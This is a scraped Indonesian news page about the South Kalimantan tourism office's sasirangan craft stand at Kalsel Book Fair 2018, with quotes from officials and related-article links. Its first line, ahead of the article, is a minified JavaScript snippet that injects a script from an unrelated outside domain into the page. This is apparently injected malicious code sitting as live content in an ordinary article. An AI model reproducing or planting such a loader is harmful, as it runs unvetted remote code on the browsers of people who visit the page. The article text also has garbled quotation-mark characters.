(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dinas Pariwisata Kalimantan Selatan turut berperan di Kalsel Book Fair 2018 dengan memamerkan berbagai jenis kerajinan berbahan dasar sasirangan seperti baju, kerudung, sandal, broos, gantungan, dan lan-lain.
Salah satu penjaga stand Dinas Pariwisata Kalsel Uvi Supiyati mengatakan, tujuan dijadikannya sasirangan untuk mengisi galeri stand Dinas Pariwisata Kalsel di KBF 2018, sebagai langkah untuk membumikan sasirangan di kalangan masyarakat lokal, nasional dan maupun internasional.
“Kalsel punya sasirangan sebagai kebanggan daerah,†katanya kepada Kanal Kalimantan, Minggu (8/4).
Perempuan pelaku bisnis dan anggota IWAPI ini menambahkan, barang-barang yang dipamerkan merupakan barang-barang dari UMKM, Anggota Ikatan Wanita Pengusaha Indonesia (IWAPI) dan juga ada milik pribadi, dalam hal ini sudah bekerjasama dengan Dinas Pariwisata Kalsel.
Uvi berpendapat, pelaksanaan KBF tahun ini sudah baik dan sudah lebih teratur dibanding tahun sebelumnya, sosialisasi yang dilakukan juga sudah bagus. “Kalau boleh menyarankan, untuk kedepannya KBF dilaksanakan seperti konsep taman dan terbuka, sehingga kesannya orang sambil melihat buku juga bisa melihat pameran lainnya,†ucapnya.
Dia menyampaikan, dalam 10 hari konsep stand juga berubah setiap harinya. Perubahan konsep dengan cara merubah tata letak galeri yang dipamerkan, sehingga terlihat ada perubahan di stand yang membuat para pengunjung yang datang tidak merasa monoton. “Pengunjung juga suka, karena di stand ini, selain melihat koleksi galeri juga bisa sambal ngopi di tempat yang sudah disediakan di samping stand,†pungkasnya.
Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel Dra Hj Nurliani Dardie mengapresiasi dan rasa terima kasihnya kepada Heriansyah, Kepala Dinas Pariwisata Kalsel beserta seluruh jajaran atas partisipasi di KBF 2018. “Terima kasih saya tak terhingga kepada Dinas Pariwisata Provinsi sebagai satu-satunya SKPD Provinsi Kalsel yang terlibat dalam KBF 2018 ini,†katanya.
Bunda Nunung -biasa disapa- terkait keterlibatan Dispersip Kabupaten/Kota yang ada di Kalsel, semua Dispersip Kabupaten/Kota diundang, tapi yang ikut cuma Dispersip Tanah Laut dan Disarsipus Kotabaru. “Justru yang jauh-jauh yang ikut serta, dari Kabupaten Balangan sebenarnya ingin terlibat tapi berbarengan dengan Hari Jadi Kabupaten Balangan,â€Âbebernya.
Dia menambahkan, Dispersip Kalsel selaku penyelenggara KBF, memberi apresiasi positif kepada Dinas Kearsipan dan Perpustakaan Kotabaru dan Tanah Laut.
“Saya sangat menaruh apresiasi dan penghargaan setinggi-tingginya kepada teman-teman Disarsipus Kotabaru dan Dispersip Tanah Laut. Itu menandakan bahwa mereka punya semangat yang tinggi, jauh-jauh datang demi menjadi peserta di KBF 2018,†ucapnya.Kkehadiran Disarsipus Kotabaru pada kegiatan KBF bukan sekedar ikut pameran, tapi juga membagikan 50 buku bacaan berupa cerita daerah Kotabaru yang dibagikan secara gratis kepada pengunjung KBF. (abdullah)
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
This website uses cookies.